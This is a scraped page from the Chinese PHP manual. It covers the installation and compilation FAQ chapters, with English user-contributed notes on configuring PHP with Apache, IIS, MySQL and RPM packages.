option --with-sybase (without ct) can somehow be used to talk to old MS-SQL servers, but only with the 11.x client libs.

If you are using free, or have legally obtained, 12.x client libs from sybase, then compile with option  "--with-sybase-ct=$SYBASE/$SYBASE_OCS"
substitute $SYBASE/$SYBASE_OCS with the appropriate directory name.
Simon
05-Nov-2003 08:38
You can connect to Microsoft SQL Server from PHP without using ODBC. It's even detailed in the PHP docs! Wow! You can find the details at http://www.php.net/manual/en/ref.mssql.php
jastern at uci dot edu
27-Sep-2002 05:24
i made some notes of trials/tribulations setting up PHP (on a linux redhat 7.3 box) to connect (via interbase/ODBC client libraries) to an interbase server on another machine:

http://www.faqts.com/knowledge_base/view.phtml/aid/18951/fid/679

hope it helps someone..
michal at tuxy dot org
27-Feb-2002 03:22
You can approch problem with mysql and pthread by recompiling/linking apache (1.3.2x) with pthread library instead of removing pthread from mysql. This solved my problem with apache dumping core with php (3.0.18 and php 4.1.1) and mysql.
You can use ldd to check if apache is compiled with pthreads.
Hope that helps.
add a note add a note

后退 | 起点 | 前进
获取 PHP | 上一级 | 安装常见问题


安装常见问题

PHP 手册
后退 前进

章 51. 安装常见问题

本章包括了安装 PHP 的常见问题。PHP 可以用于几乎任何操作系统（可能除了 OS X 之前的 MacOS 之外），以及几乎任何 web 服务器。

要安装 PHP，请按照发行包中 INSTALL 文件的说明进行。Windows 用户同样还要阅读 install.txt 文件。对于 Windows 用户还有一些有用的提示在 Windows 系统下的安装一章。

1. 为什么不应该在实际运作环境中的 Apache2 中使用线程化的 MPM？
2. Unix/Windows：应该上哪儿去找我的 php.ini 文件？
3. Unix：我安装了 PHP，但每次我打开一个页面时，只得到一条“Document Contains No Data”消息！这是怎么回事？
4. Unix：我从 RPMS 安装了 PHP，但是 Apache 不处理 PHP 页面！这是怎么回事？
5. Unix：我从 RPMS 安装了 PHP 3，但它没有把我需要的数据库支持编译进去！这是怎么回事？
6. Unix：我给 Apache 加上了 FrontPage extensions 补丁，结果 PHP 突然不工作了。PHP 和 Apache FrontPage extensions 兼容吗？
7. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个空白页面。
8. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个服务器的 500 错误。
9. 某些操作系统：我已经在不出错的情况下安装了 PHP，但当我试着启动 Apache 时得到了一个未定义符号错误：
[mybox:user /src/php4] root# apachectl configtest
 apachectl: /usr/local/apache/bin/httpd Undefined symbols:
  _compress
  _uncompress
10. Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到如下错误：
cgi error:
 The specified CGI application misbehaved by not
 returning a complete set of HTTP headers.
 The headers it did return are:
11. Windows：我已经照着所有的说明做了，但还是不能让 PHP 和 IIS 一起工作！
12. 当在 IIS，PWS，OmniHTTPD 或者 Xitami 中以 CGI 方式运行 PHP 时，出现如下错误：Security Alert! PHP CGI cannot be accessed directly..
13. 怎样得知我的 php.ini 是否被找到和应用了？似乎我做的修改都没有生效。
14. 怎样将 PHP 目录加入到 Windows 路径 PATH 中去？
15. 怎样使 php.ini 文件在 Windows 下被 PHP 所用？
16. 有可能使 PHP 运作于 Apache 的 content negotiation（MultiViews 选项）吗？
17. PHP 是否仅限于处理 GET 和 POST 请求方法？

1. 为什么不应该在实际运作环境中的 Apache2 中使用线程化的 MPM？

PHP 是粘合剂。它将几十种第三方的库粘合到一起来创建很酷的 web 应用，并通过很直观且易于学习的语言界面使其看上去好像一个整体。PHP 的灵活与强大依赖于底层平台的稳定与耐用。起码需要将一个可运作的操作系统，一个可运作的 web 服务器以及可运作的第三方库粘合起来。其中任何一方不运作了，PHP 都需要有方法来识别出问题并且快速解决。如果没有完全独立的执行线程，完全独立的内存单元和稳定的空间对付每个请求，那底层架构就太复杂以至于不稳定因素更容易进入到 PHP 系统中。

如果必须要用线程化的 MPM，看看 FastCGI 配置，使 PHP 运行于自己独立的内存空间中。

最后需要指出，不使用线程化 MPM 的警告在 Windows 系统中没那么强烈，因为 Windows 中的大多数库都理应在多线程下安全运行。

2. Unix/Windows：应该上哪儿去找我的 php.ini 文件？

UNIX 中默认在 /usr/local/lib 目录中，也就是 <install-path>/lib。很多人会在编译时通过 --with-config-file-path 标记来改变路径。例如可以将路径设为：
--with-config-file-path=/etc
然后从发行包中将 php.ini-dist 拷贝为 /etc/php.ini 并编辑它来作出想要的修改。

--with-config-file-scan-dir=PATH

Windows 中 php.ini 文件的默认路径在 Windows 目录下。如果使用的是 Apache 服务器，则会首先在 Apache 的安装目录中寻找 php.ini，例如 C:\Program Files\Apache Group\Apache。这样同一台机器上不同版本的 Apache 就可以有不同的 php.ini 文件。

参见配置文件。

3. Unix：我安装了 PHP，但每次我打开一个页面时，只得到一条“Document Contains No Data”消息！这是怎么回事？

这可能意味着 PHP 发生了某类错误而导致了 core dump。查看服务器的错误日志看看是不是这样，再用一个小的测试例子试着重现此问题。如果你会用“gdb”的话，那么在 bug 报告中提供回溯跟踪很有助于帮开发人员查明问题。如果你用 Apache 的模块方式使用 PHP，试着这么做：

  • 停止 httpd 进程

  • gdb httpd

  • 停止 httpd 进程

  • > run -X -f /path/to/httpd.conf

  • 然后在你的浏览器中访问导致错误的 URL

  • > run -X -f /path/to/httpd.conf

  • 如果你遇到 core dump，gdb 此时就会通知你

  • 输入：bt

  • 你应该在 bug 报告中包括回溯追踪记录。应该提交到 http://bugs.php.net/

如果你的脚本使用了正则表达式函数（ereg() 等），应该确认在编译 PHP 和 Apache 时使用了同一个正则表达式包。在 PHP 和 Apache 1.3.x 中应该自动就是这样。

4. Unix：我从 RPMS 安装了 PHP，但是 Apache 不处理 PHP 页面！这是怎么回事？

假定你的 Apache 和 PHP 都是从 RPM 包中安装的，你需要在 httpd.conf 文件中取消以下部分或所有行的注释，或者把它们添加到该文件中：
# Extra Modules
AddModule mod_php.c
AddModule mod_php3.c
AddModule mod_perl.c

# Extra Modules
LoadModule php_module         modules/mod_php.so
LoadModule php3_module        modules/libphp3.so     # for PHP 3
LoadModule php4_module        modules/libphp4.so     # for PHP 4
LoadModule perl_module        modules/libperl.so
并且把：
AddType application/x-httpd-php3 .php3    # for PHP 3
AddType application/x-httpd-php .php      # for PHP 4
添加到全局属性中，或者添加到你希望加入 PHP 支持的虚拟域中。

5. Unix：我从 RPMS 安装了 PHP 3，但它没有把我需要的数据库支持编译进去！这是怎么回事？

由于 PHP 3 构造的原因，不容易编译出一个完全灵活的 PHP RPM 包来。这个问题在 PHP 4 中解决了。对于 PHP 3 来说，我们目前建议你用 PHP 发行包中 INSTALL.REDHAT 文件中所描述的机制。如果你坚持要用 PHP 3 的 RPM 版本，请接着往下看。

为了简化安装以及由于 RPMS 使用了 /usr/ 而不是标准的 /usr/local/ 目录来存放文件，制作 RPM 包的人设定 RPMS 不安装任何数据库支持。你需要告诉 RPM 说明文件，你想要支持哪个数据库以及你的数据库服务器最高层路径。

下面的例子解说了如何在用模块安装下的 Apache 中加入流行的 MySQL 数据库服务器支持的过程。

当然这些信息可以调整用于任何 PHP 支持的数据库服务器。本例中我们也假定你从 RPMS 中完整安装了 MySQL 和 Apache。

  • 先去掉 mod_php3：
    rpm -e mod_php3

  • 然后取得源文件的 rpm 包并安装它，而不是编译它。
    rpm -Uvh mod_php3-3.0.5-2.src.rpm

  • 接着编辑 /usr/src/redhat/SPECS/mod_php3.spec 文件

    在 %build 一节加入你想要的数据库支持，以及路径。

    对应于 MySQL 你应该加入 --with-mysql=/usr。则 %build 一节看上去将类似这样：
    ./configure --prefix=/usr \
--with-apxs=/usr/sbin/apxs \
--with-config-file-path=/usr/lib \
--enable-debug=no \
--enable-safe-mode \
--with-exec-dir=/usr/bin \
--with-mysql=/usr \
--with-system-regex

  • 一旦完成了这个修改，就这样建立二进制程序的 rpm 包：
    rpm -bb /usr/src/redhat/SPECS/mod_php3.spec

  • 然后安装 rpm
    rpm -ivh /usr/src/redhat/RPMS/i386/mod_php3-3.0.5-2.i386.rpm

确认重新启动了 Apache，这下你就有了用 RPM 安装的并且带 MySQL 支持的 PHP 3 了。注意按照 PHP 3 发行包中 INSTALL.REDHAT 文件的说明来编译其实也许更容易一些。

6. Unix：我给 Apache 加上了 FrontPage extensions 补丁，结果 PHP 突然不工作了。PHP 和 Apache FrontPage extensions 兼容吗？

兼容的。PHP 可以和 FrontPage extensions 一起工作，问题是 FrontPage 补丁修改了几个 PHP 依赖的 Apache 构造。在 FrontPage 补丁安装之后之后重新编译 PHP（用“make clean ; make”）可以解决此问题。

7. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个空白页面。

用浏览器中的“查看源文件”，你可能会发现能看到 PHP 脚本的源程序。这意味着 web 服务器没有把脚本发送给 PHP 解释。服务器配置在某处有问题，请对照 PHP 安装说明仔细检查服务器配置。

8. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个服务器的 500 错误。

当服务器尝试运行 PHP 时出了错。要想看到有意义的错误信息，在命令行中转到 PHP 可执行程序（Windows 中是 php.exe）所在目录下并运行 php -i。如果 PHP 运行有任何问题，那么会显示相应的错误信息，这将给你下一步要做什么的线索。如果你得到满屏幕 HTML 代码（phpinfo() 函数的输出）的话说明 PHP 本身工作正常，你的问题可能和你的服务器配置有关，要仔细检查。

9. 某些操作系统：我已经在不出错的情况下安装了 PHP，但当我试着启动 Apache 时得到了一个未定义符号错误：
[mybox:user /src/php4] root# apachectl configtest
 apachectl: /usr/local/apache/bin/httpd Undefined symbols:
  _compress
  _uncompress

这实际上和 PHP 没有关系，而和 MySQL 的客户端库有关。有的需要 --with-zlib，有的不需要。这个问题也包括在 MySQL 的 FAQ 中。

10. Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到如下错误：
cgi error:
 The specified CGI application misbehaved by not
 returning a complete set of HTTP headers.
 The headers it did return are:

这个错误信息意味着 PHP 根本就不能产生任何输出。要想看到有意义的错误信息，在命令行中转到 PHP 可执行程序（Windows 中是 php.exe）所在目录下并运行 php -i。如果 PHP 运行有任何问题，那么会显示相应的错误信息，这将给你下一步要做什么的线索。如果你得到满屏幕 HTML 代码（phpinfo() 函数的输出）的话说明 PHP 本身工作正常。

一旦 PHP 在命令行中工作正常，试着通过浏览器再次访问脚本。如果还失败的话那可能是如下原因之一：

  • 文件权限问题，你的 PHP 脚本，php.exe，php4ts.dll，php.ini 或任何你要加载的 PHP 扩展库是匿名 internet 用户 ISUR_<machinename> 无权访问的。

  • 脚本文件不存在（或者有可能不在你以为的地方，注意 web 文档的目录）。注意在 IIS 中通过 Internet 服务管理器设定脚本映射时选中“检查文件是否存在”可以捕捉到此错误。这样一来如果脚本文件不存在的话服务器就会返回一个 404 错误信息。还有一个额外的好处就是 IIS 会基于 NTLanMan 权限来替你对脚本文件做任何所需要的认证。

11. Windows：我已经照着所有的说明做了，但还是不能让 PHP 和 IIS 一起工作！

确认需要运行 PHP 脚本的任何用户有权限运行 php.exe！IIS 使用了一个在安装 IIS 时添加的匿名用户，这个用户需要有访问 php.exe 的权限。同样任何认证用户也需要执行 php.exe 的权限。在 IIS4 中你还需要告诉它 PHP 是一个脚本引擎。此外，你可能还需要阅读此常见问题。

12. 当在 IIS，PWS，OmniHTTPD 或者 Xitami 中以 CGI 方式运行 PHP 时，出现如下错误：Security Alert! PHP CGI cannot be accessed directly..

必须将 cgi.force_redirect 选项设为 0。 默认值为 1，因此要确认此选项没有被注释掉（用 ;）。和其它选项一样，是在 php.ini 中设定的。

因为默认值是 1，因此你必须百分之百确认使用了正确的 php.ini 文件。详细信息请阅读此常见问题。

13. 怎样得知我的 php.ini 是否被找到和应用了？似乎我做的修改都没有生效。

要确认你的 php.ini 被 PHP 使用了，调用 phpinfo()，在接近开头的位置有一项叫做 Configuration File (php.ini)。这里将告诉你 PHP 在哪里找到了 php.ini 并且是否使用了。如果只显示一个目录则 没有使用任何 php.ini 文件，你应将你的 php.ini 文件放到该目录中。如果 php.ini 包括在该路径中则它已被应用了。

如果 php.ini 被使用了并且你是以模块方式运行 PHP 的，确保在修改了 php.ini 之后重新启动你的 web server。

14. 怎样将 PHP 目录加入到 Windows 路径 PATH 中去？

在 Windows NT，2000，XP 和 2003 下：

  • 进入控制面板并打开“系统”图标（开始 -> 设置 -> 控制面板 -> 系统，Windows XP/2003 中是：开始 -> 控制面板 -> 系统）

  • 选择“高级”标签页

  • 点击“环境变量”按钮

  • 在“系统变量”栏中

  • 找到 Path 这一项（可能需要向下滚动才能找到）

  • 鼠标双击 Path 这一项

  • 在最后加入你的 PHP 目录，包括前面的“;”（例如：;C:\php）

  • 点击“确定”并重新启动电脑

在 Windows 98/Me 中需要编辑 autoexec.bat 文件：

  • 打开记事本（开始 -> 运行，然后输入 notepad 并点确定）

  • 打开 C:\autoexec.bat 文件

  • 找到这么一行：PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;..... 并在最后加上 ;C:\php

  • 保存文件并重新启动电脑

注: 记住在上述修改之后重新启动，以确保对 PATH 的改变生效。

PHP 手册过去提倡把文件拷贝到 Windows 系统目录中去，这是因为该目录（C:\Windows，C:\WINNT，等等）默认就在系统路径中。但是把文件拷贝到 Windows 系统目录中这一方式早已不被提倡，还可能造成问题。

15. 怎样使 php.ini 文件在 Windows 下被 PHP 所用？

有几种方法。如果使用 Apache，阅读专门的安装指示（Apache 1，Apache 2），否则就必须设定 PHPRC 环境变量：

在 Windows NT，2000，XP 和 2003 种：

  • 进入控制面板并打开“系统”图标（开始 -> 设置 -> 控制面板 -> 系统，Windows XP/2003 中是：开始 -> 控制面板 -> 系统）

  • 选择“高级”标签页

  • 点击“环境变量”按钮

  • 在“系统变量”栏中

  • 点击“新建”按钮并在“变量名”中输入“PHPRC”，在“变量值”中输入 php.ini 文件所在的目录（例如：C:\php）

  • 点击“确定”并重新启动电脑

在 Windows 98/Me 中需要编辑 autoexec.bat 文件：

  • 打开记事本（开始 -> 运行，然后输入 notepad 并点确定）

  • 打开 C:\autoexec.bat 文件

  • 在文件结尾处加入一行：set PHPRC=C:\php（将 C:\php 替换为你的 php.ini 实际存在的目录）。注意路径中不能包含空格。例如将 PHP 安装到了 C:\Program Files\PHP 中，你需要输入 C:\PROGRA~1\PHP 替代之

  • 保存文件并重新启动电脑

16. 有可能使 PHP 运作于 Apache 的 content negotiation（MultiViews 选项）吗？

如果到 PHP 文件的连接包含扩展名，一切都运行完美。本解答只针对到 PHP 文件的连接不包含扩展名时，而希望通过 content negotiation 来从不包含扩展名的 URL 来选择 PHP 文件的情况。在此种情况下，将 AddType application/x-httpd-php .php 替换为：
# PHP 4
AddHandler php-script php
AddType text/html php

# PHP 5
AddHandler php5-script php
AddType text/html php
此方案对于 Apache 1 不适用，因为 PHP 模块不捕获 php-script。

17. PHP 是否仅限于处理 GET 和 POST 请求方法？

不是，PHP 有可能处理任何请求方法，例如 CONNECT。适当的回应状态可以用 header() 发送。如果仅需要处理 GET 和 POST 方法，可以通过如下的 Apache 配置实现：
<LimitExcept GET POST>
Deny from all
</LimitExcept>

add a note add a note User Contributed Notes
info at kylierose dot com dot au
03-May-2006 06:22
I had trouble using IIS and PHP with Firefox. If you are having similar problems then take a look at this article: http://blogs.wdevs.com/shog9/archive/2005/03/09/2668.aspx
emzeperx at emzeper dot hu
01-Jan-2006 04:36
You do not have to restart the whole system make effect of changing the PATH env var. For me (sbs2003) worked automatically.
on older systems you can use

set $Path=%path%;c:\php

command to extend immediately the path var.
JUSTANOTHERUSER
15-Aug-2005 02:23
<LimitExcept GET POST>
Deny from all
</LimitExcept>

Does not work with Apache2+ & PHP5 . Apache Refuses to start
per dot fikse at ipj dot no
12-Jul-2005 04:22
Installing PHP 4 or 5 on Windows Server 2003 x64 results in http error 505. This is not a PHP bug. It is due to running a 32-bit ISAPI DLL under the 64-bit version of IIS 6, as documented here: http://support.microsoft.com/?id=895976

Solution: Flip the Metabase flag for Enable32bitAppOnWin64 as described in http://support.microsoft.com/?id=894435 ,
like this: CSCRIPT ADSUTIL.VBS SET W3SVC/AppPools/Enable32bitAppOnWin64 1

(Alternatively with full path: cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1)
patrick hat paddyworks dot com
24-May-2005 12:52
In setting up PHP 5.0.4 + IIS 6  I can concur with vlad at vkelman dot com that setting the environment variable PHPRC is ineffective at telling IIS where to look for php.ini.  The only place PHP5 seems to successfully find php.ini is in C:\Windows.  Using PHPIniDir with Apache2 works like a charm, however.
vlad at vkelman dot com
02-Mar-2005 12:45
In addition of what jimo at mail dot azhsv dot com said:

I don't know which idiot at Microsoft wrote those Knowledge Base articles (http://support.microsoft.com/kb/328360/EN-US/) - maybe the same idiot who created "Web Server Extensions". But the same - adding extensions and enabling them may be achived much simplier: just open III Manager, go to "Web Server Extensions" and add what you need interactively.

I'm trying to make both PHP 4 and PHP 5 running as modules on my machine, PHP 4 under IIS and PHP 5 under Apache 2. It turns out that it much easier to work with Apache. In particular, it allows to use PHPIniDir directive to point PHP to php.ini file. IIS is supposed to allow it with setting the PHPRC environment variable, but for some reason it doesn't work on my machine so far.
barry dot fagin at usafa dot af dot mil
05-Jan-2005 01:22
Fixing 404 (file not found) errors with PHP 5.0.3 and IIS 6.0

IIS 6.0 is installed with security settings that don't permit dynamic content.  This means that even if all the hints in the FAQ are paid attention to (.ini modified correctly, security and permissions correct for IUSR_xxx user, etc), you still get 404 errors for all php files.

To fix this:  IIS Manager -> expand local computer -> Web Services Extensions -> Add web service or extension -> .php, browse to c:\php\php-cgi.exe or wherever you had the php executable installed. That plus setting the doc_root in the .ini file solved the problem.

--BF
furrycod at hotmail dot com
08-Sep-2004 12:35
Great WAMP 1.4.4 (Apache 1.*, MySql 4.*, PHP 4.*) installation article at http://www.circaware.com/articles.php?id=2

This article details how to install these onto a USB stick--which means changing *nothing* on the host PC, such as registry entries, environment variables, files in the Windows path, NT services, ini files, etc.

The USB stick install seems awkward, but I installed WAMP to my harddrive using this article as a guide (essentially replacing E:\ with C:\), and it works fine.  No more trying to decide where the *real* php.ini or my.ini file is that needs to be changed.
masternuthin diespammer at yahoo dot com
24-Jun-2004 06:33
PHP 4.3.7.7 and IIS 6 (w2k3 standard)

Followed note from nigel dot salt at hotmail dot com
but had to modify "Script Map" to "ScriptMap"

Also, had to follow note from jimo at mail dot azhsv dot com

after all that - it worked.
jeff_graham at datacenterservices dot net
02-Feb-2004 05:51
As stated within the note "jimo at mail dot azhsv dot com
29-Nov-2003 04:33
PHP 4 and IIS 6.0 (Windows Server 2003)," I found the same steps were requiered for installation of PhP 5 beta 3 on my Windows 2003 server (Standard Edition)
nigel dot salt at hotmail dot com
14-Dec-2003 09:00
Finally got IIS 5 and PHP 5 to talk.

What worked for me was:

1) Set
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
W3SVC\Parameters\Script Map]
".php"="your path to php\\php.exe"

2) ensure there is not a php.ini in the windows system folder and that there is one wherever you've put PHP

3) edit php.ini and set cgi force redirect to 0 and cgi.rfc2616_headers = 1

4) Put the PHP scripts in their own folder underneath the inetpub root

5) Open the IIS console, right click your new php folder
In the Directory tab
 set application name to the name of the folder
 set executable and script as permission
 set application protection to low
Click configuration and check that .php is mapped to wherever you put
PHP

Restart IIS

Try a very simple PHP page and it should work

Nigel
jimo at mail dot azhsv dot com
30-Nov-2003 11:33
PHP 4 and IIS 6.0 (Windows Server 2003)

Had difficulty getting PHP 4.3.3 to work with Win2003 Ent Server for use with SquirrelMail.  Problem found and believed solved.  Appears to be something New with IIS 6.0 (More security by Micro$oft)  Was getting 404 error and php was not being run as a cgi even though it was in extensions and IIS user had rights to execute it. (php from command line operated correctly)

If you are installing on Windows Server 2003 (only have Enterprise Edition  Not sure if this applies to standard edition), and you have done the normal procedures for inclusion of PHP scripts (either ISAPI or CGI) in IIS, you will still get a 404 error when attempting to execute those scripts even though IIS has rights and the extension points to the correct file.  To alleviate this problem, perform the following:

1.    Open a command prompt window
2.    Change to C:\windows\system32
3.    Execute the command:  cscript  iisext.vbs /AddFile c:\php\php.exe 1 php 0 php
4.    Execute the command:  cscript iisext.vbs /EnFile c:\php\php.exe
5.    To check for correct execution of the above,
6.    Execute the command:  cscript IisExt.vbs /ListFile  the php extension should be listed

If you try just step 4 without step 3 you get an error that the file is not in the list (and wont be there till you do step 3 above)

After this, IIS seems to like the php extension and work normally.

For additional reference, see the below 3 Micro$oft KB Articles:
HOWTO: Enable and Disable ISAPI Extensions and CGI Applications in IIS 6.0 (MS KB Article 328360)

HOWTO List Web Server Extensions and Extension Files in IIS 6.0 (MS KB Article 328505)

HOWTO Add and Remove Web Service Extension Files in IIS 6.0 (MS KB Article 328419)
peter dot mosinskisNOSPAM at csuci dot edu
07-Mar-2003 04:36
Running Win2K AS + IIS5.0 + PHP 4.3.1, I ran into a nasty problem that I mistakenly thought had to do with something in the php.ini configuration. When I would try to submit a form using the HTTP method GET it would work, but I would get a "404 Page Not Found" error using the POST method.

All my permissions were set correctly, the php.ini was configured correctly. It had to do with URLScan being installed on IIS (see below)

Page 404 File Not Found Error When Using POST method in PHP (and Perl, and otherwise)
-------------------------------------------

This is related to the Microsoft URLScan utility. If you have this problem, the IIS administrator has probably run the IIS Lockdown tool as well as configured URLScan to reject this type of HTTP method when sent in a URL. These tools are meant to enhance web server security.

URLScan configuration files can be found in the \WINNT\system32\inetsrv\urlscan folder on the web server. Specifically, the file to modify is urlscan.ini.

The changes to make are as follows:
1. Make sure UseAllowVerbs=1 under [options]
2. Under the [AllowVerbs] section, list your allowed HTTP methods to include:
   GET
   POST

For more information on the IIS Lockdown tool and URLScan, visit http://technet.microsoft.com
monroe at peoplego dot com
18-May-2002 01:32
INSTALLATION ON OPENBSD 3.1 VIA PORTS COLLECTION
Would have succeed but no mysql support.
I commented out the FLAVORS+= dbase filepro mysql mysql_bundled postgresql iodbc in the /usr/ports/www/php4/Makefile and in the configure options added
--with-mysql=/usr/local  and it worked.

Good Luck
rodent at mighty dot co dot za
17-Apr-2002 07:46
On windows 2000 installation I've had PHP simply hanging when running a PHP script.

To see exactly what is going wrong with PHP in the context of the IUSR_MACHINENAME account create a shortcut on your desktop to point to cmd.exe.

Right click on the shortcut, and select properties.

Then check the 'run as a different user' checkbox of the property pages of the shortcut.

Double click then shortcut, and you will be prompted for a user account to run the cmd.exe shell under.

Enter IUSR_MACHINENAME (replace machine name with the machine name of your system), and enter the password for the account.

If you don't know the password for the IUSR account you might need to go change it in Administrative Tools->Computer Management.

Enter the password, and you will be dropped into a command prompt.

Now run c:\php\php.exe -i and see if you can catch any error messages.

On my system it had a problem accessing c:\winnt\system32\browscap.ini which I was then able to sort out.

Running PHP as the Administrator user didn't give this problem, so being able to impersonate the IIS account was a very useful diagnostic tool.
tanis22 at hotmail dot com
13-Nov-2001 03:01
I figured out why i get this error with just a virtual directory and not the root:

8. Windows: I have installed PHP, but when I to access a PHP script file via my browser, I get the error: cgi error:
 The specified CGI application misbehaved by not
 returning a complete set of HTTP headers.
 The headers it did return are:
---------------------
Look at the php.ini file and look for

doc_root =

set it to nothing so that it does not only look for that directory. I hope it helps people with IIS and PHP
rggonzalez at iname dot com
10-Nov-2000 09:40
Notes on installing PHP (3.x.x or 4.x.x) on a RedHat 6.x Linux box using glibc 2.1.x. When you install it as a DSO  module for Apache (--with-apxs) with the standard RPM's from RedHat for Apache and MySQL, the httpd daemon dies without giving any error message, and without sending any message to the console.

From a comment by Rasmus Ledorf: this is caused "probably due to a glibc-2.1.x bug related to dynamically loading a library
linked against pthreads into a binary that isn't linked against
pthreads.  Try it using --without-mysql and see if it works.  If it does
then you know it is a mysql-related problem.  To fix it you will need the
non-threaded mysql client rpm available from www.mysql.com".

You can also download the source code for MySQL and recompiled it statically, using this configuration options:

 --with-client-ldflags=-all-static
 --with-mysqld-ldflags=-all-static

You must then re-run the ./configure; make; make install in your PHP source tree to get the PHP shared module working with the new MySQL support.

Regards,
Rodolfo Gonzalez.
rggonzalez@iname.com
fischer_dj at mailcity dot com
25-Aug-2000 12:29
I've added detailed PWS, Perl, & PHP4 installation instructions for Win98 at FAQts.

http://www.faqts.com/knowledge-base/view.phtml/aid/5495/fid/336/lang/en
add a note add a note

后退 | 起点 | 前进
数据库问题 | 上一级 | 编译问题


编译问题

PHP 手册
后退 前进

章 52. 编译问题

本节汇集了大多数编译时出现的常见错误。

1. 我用匿名 CVS 得到了最新版的 PHP，但是里面没有 configure 脚本！
2. 我在配置 PHP 和 Apache 一起工作时遇到了问题。说没找到 httpd.h，但这个文件明明就在那里！
3. 当运行 PHP 配置时（./configure），遇到类似如下的问题：
4. 当试图启动 Apache 时，得到类似如下错误信息：
5. 当运行 configure 时，报告说找不到头文件或 GD 库或 gdbm，或其它的什么包！
6. 当编译 language-parser.tab.c 文件时，报错说 yytname undeclared。
7. 当我运行 make 时，看上去一切正常，可当连接最后的程序时报告说找不到某些文件而失败了。
8. 当连接 PHP 时，报告说有一些未定义的引用。
9. 我不知道怎样把 PHP 和 Apache 1.3 一起编译。
10. 我按照所有的步骤在 UNIX 下安装了PHP 的 Apache 模块版本，但我的 PHP 脚本被显示在浏览器中或者提示保存此文件。
11. 说要用：--activate-module=src/modules/php4/libphp4.a，但是此文件根本不存在，于是我改成了 --activate-module=src/modules/php4/libmodphp4.a，结果不行。怎么回事？
12. 当我用 --activate-module=src/modules/php4/libphp4.a 试着把 PHP 编译成 Apache 的静态模块时，报告说我的编译器不服从 ANSI 标准。
13. 当我用 --with-apxs 编译 PHP 时得到奇怪的错误信息。
14. 在 make 的过程中，在 microtime 中出错，还有很多 RUSAGE_ 之类的东西。
15. 当带 MySQL 编译 PHP 时，可以正确地运行配置，但是在 make 的过程中出现了类似以下的错误信息： ext/mysql/libmysql/my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/libmysql/my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp'，这是怎么回事
16. 我想升级我的 PHP。上哪里找到我用来配置目前的 PHP 的 ./configure 的参数呢？
17. 和 GD 库一起编译 PHP 时，要么给出一个奇怪的编译错误，要么在运行时出现 segfaults。
18. 当编译 PHP 时我看到一些随机的错误，好像死了。我用的是 Solaris，不知道有没有关系。

1. 我用匿名 CVS 得到了最新版的 PHP，但是里面没有 configure 脚本！

你必须安装有 GNU 的 autoconf 包，这样才可以从 configure.in 生成 configure 脚本。从 CVS 得到源程序后只要在最高层的目录中运行 ./buildconf 即可。（同样，除非你用了 --enable-maintainer-mode 选项来运行 configure，否则即使 configure.in 文件更新了，configure 脚本也不会自动重新生成。所以当你发现 configure.in 文件更新了时要确保手工重新生成 configure 脚本。有一个症状是在 configure 之后或者运行 config.status 时在 Makefile 中寻找类似 @VARIABLE@ 的东西。）

2. 我在配置 PHP 和 Apache 一起工作时遇到了问题。说没找到 httpd.h，但这个文件明明就在那里！

你需要告诉 configure/setup 脚本你的 Apache 源程序最上层的目录位置。这意味着你需要这样指定 --with-apache=/path/to/apache 而不是这样 --with-apache=/path/to/apache/src。

3. 当运行 PHP 配置时（./configure），遇到类似如下的问题：

checking lex output file root... ./configure: lex: command not found
       configure: error: cannot find output from lex; giving up

请认真阅读 PHP 的安装说明，并注意要编译 PHP 需要同时安装 flex 和 bison。根据设置的不同，可以从源代码编译 bison 和 flex，要么通过已编译好的发行包，例如 RPM。

4. 当试图启动 Apache 时，得到类似如下错误信息：

fatal: relocation error: file /path/to/libphp4.so:
       symbol ap_block_alarms: referenced symbol not found

该错误通常在 Apache 的核心程序被编译为共享用途的 DSO 库时发生。请尝试重新配置 Apache，确保至少使用了如下参数：

--enable-shared=max --enable-rule=SHARED_CORE

更多信息，请阅读 Apache 顶层目录的 INSTALL 文件或者 Apache 的 DSO 手册。

5. 当运行 configure 时，报告说找不到头文件或 GD 库或 gdbm，或其它的什么包！

可以通过指定附加的选项让 configure 脚本在非标准的路径中寻找头文件和库并传递给 C 预处理器和连接器，例如：
CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure
如果用 csh 的变种作为你的登录 shell（为什么？），那就是：
env CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure

6. 当编译 language-parser.tab.c 文件时，报错说 yytname undeclared。

需要更新 Bison 的版本。最新版本在 http://www.gnu.org/software/bison/bison.html。

7. 当我运行 make 时，看上去一切正常，可当连接最后的程序时报告说找不到某些文件而失败了。

一些旧版本的 make 没有正确将 functions 目录下编译后的文件放到同一个目录下。试试运行 cp *.o functions 然后再运行 make 看看有没有什么帮助。如果成功了，那你确实需要更新到最新版的 GNU make。

8. 当连接 PHP 时，报告说有一些未定义的引用。

看看连接的这一行命令，确认所有适当的库都包括在最后了。通常可能漏掉了“-ldl”和你包括的任何数据库支持所需要的库。

如果和 Apache 1.2.x 一起连接，记得把适当的信息添加到配置文件的 EXTRA_LIBS 这一行并重新运行 Apache 的配置脚本了吗？更多信息参见发行包中的 INSTALL 文件。

一些人也报告说在和 Apache 连接时他们不得不紧接着 libphp4.a 之后加上“-ldl”。

9. 我不知道怎样把 PHP 和 Apache 1.3 一起编译。

这其实很简单。小心地照着以下步骤来：

  • 从 http://www.apache.org/dist/httpd/ 下载最新版的 Apache 1.3。

  • 解压缩到某处，例如 /usr/local/src/apache-1.3。

  • 编译 PHP，先运行 ./configure --with-apache=/<path>/apache-1.3（用你 apache-1.3 所在的真实路径替换掉 <path>。）

  • 输入 make 接着是 make install 来编译 PHP 并把必要的文件拷贝到 Apache 的源程序目录树中。

  • 改变当前目录到 /<path>/apache-1.3/src 目录并编辑 Configuration 文件。添加这一行：AddModule modules/php4/libphp4.a。

  • 输入 ./configure 接着是 make。

